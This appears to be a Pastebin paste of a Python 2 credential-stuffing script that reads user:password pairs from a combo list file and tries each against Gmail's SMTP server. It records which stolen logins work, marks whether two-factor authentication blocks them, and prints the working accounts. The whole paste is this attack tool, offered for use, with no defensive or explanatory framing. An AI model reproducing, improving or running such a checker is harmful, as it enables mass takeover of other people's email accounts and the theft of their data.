Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- import sys
- import time
- combo = open('list.txt', 'r')
- server = smtplib.SMTP('smtp.gmail.com', 587)
- amount = len(combo.readlines())
- name = combo.name
- def check():
- workingAccounts = []
- with combo:
- print('[*] Trying (' + str(amount) + ') combinations from file (' + name + ')')
- for lines in combo.readlines():
- split = lines.split(':')
- user = split[0]
- pswd = split[1]
- comb = (user+':'+pswd)
- time.sleep(1)
- try:
- server.login(user, pswd)
- workingAccounts.append(comb)
- print('[+[2FA=Disabled] ' + str(comb))
- except smtplib.SMTPAuthenticationError as c:
- if c.smtp_code == 534:
- workingAccounts.append(comb)
- print('[?][2FA=Enabled] ' + str(comb))
- else:
- print('[!] ' + str(comb))
- time.sleep(1)
- amount2 = len(workingAccounts)
- print('____________________________________\n[*] Google Mail Account Checker Finished!\nTotal Working Combinations: ' + str(amount2)+'\n____________________________________')
- time.sleep(1)
- if workingAccounts == 0:
- sys.exit()
- else:
- q1 = raw_input('[*] Would You Like To View Working Accounts? y/n\n>> ')
- time.sleep(1)
- if q1 == 'y':
- print('____________________________________\n[*] Working Google Mail Accounts:\n' + str('\n'.join(workingAccounts)) + '\n____________________________________')
- q2 = raw_input('>> ')
- if q2 == '':
- sys.exit()
- else:
- sys.exit()
- elif q1 == 'n':
- sys.exit()
- else:
- sys.exit()
- try:
- server.starttls()
- server.ehlo()
- print '----------------------------------------------------------------------------'
- print(' [Connection Established With Google Mail SMTP Server]')
- except smtplib.SMTPConnectError as e:
- print('['+str(e)+']')
- try:
- combo = open('list.txt', 'r')
- print(' ['+name+' Has Succesfully Been Opened]')
- except combo.errors as msg:
- print('['+msg+']\n[Script Closing in 2 Seconds]')
- time.sleep(2)
- sys.exit()
- print '[If 2FA is Enabled On The Google Mail Account You Will Not Be Able To Access It]'
- print '----------------------------------------------------------------------------'
- q = raw_input('[*] Would You Like To Start Checking Accounts? y/n\n>> ')
- if q == 'y':
- check()
- elif q == 'n':
- sys.exit()
- else:
- sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement